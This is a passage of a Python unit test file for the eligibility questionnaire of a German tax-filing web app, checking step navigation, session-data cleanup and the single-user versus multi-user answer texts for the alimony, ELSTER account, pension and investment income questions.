MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'alimony_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'no', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestSingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_a_has_elster_account_eligibility': 'no'})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_a_has_elster_account_eligibility': 'yes'})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'user_a_has_elster_account_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestPensionEligibilityFailureDisplaySteuerlotseStep: def test_handle_sets_correct_prev_url(self, test_request_context): step = PensionEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=PensionEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() assert step.render_info.prev_url == expected_url class TestPensionDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'pension_eligibility': 'yes'})) expected_url = step.url_for_step(InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'pension_eligibility': 'no'})) expected_url = step.url_for_step(PensionEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_no_joint_taxes_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_joint_taxes_user_a_no_elster_account_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(UserAElsterAccountEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_joint_taxes_user_b_no_elster_account_session_data_correct_then_set_prev_input_step_correctly(self): alternative_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'pension_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no',} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.pension.yes', 'form.eligibility.pension.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.pension.no', 'form.eligibility.pension.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.pension_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no'} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.pension.yes', 'form.eligibility.pension.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.pension.no', 'form.eligibility.pension.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( PensionDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.pension_eligibility.choices) class TestInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'investment_income_eligibility': 'yes'})) expected_url = step.url_for_step(MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'investment_income_eligibility': 'no'})) expected_url = step.url_for_step(EmploymentDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(PensionDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'investment_income_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes'} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.investment_income.yes', 'form.eligibility.investment_income.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.investment_income.no', 'form.eligibility.investment_income.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.investment_income_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes',} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.investment_income.yes', 'form.eligibility.investment_income.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.investment_income.no', 'form.eligibility.investment_income.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.investment_income_eligibility.choices) class TestMinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'minimal_investment_income_eligibility': 'yes'})) expected_url = step.url_for_step(EmploymentDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'minimal_investment_income_eligibility': 'no'})) expected_url = step.url_for_step(TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes'} session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no',} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.minimal_investment_income.yes', 'form.eligibility.minimal_investment_income.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.minimal_investment_income.no', 'form.eligibility.minimal_investment_income.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.minimal_investment_income_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no',} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.minimal_investment_income.yes', 'form.eligibility.minimal_investment_income.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.minimal_investment_income.no', 'form.eligibility.minimal_investment_income.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.minimal_investment_income_eligibility.choices) class TestTaxedInvestmentIncomeEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = TaxedInvestmentIncomeEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=TaxedInvestmentIncomeEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestTaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no'} def 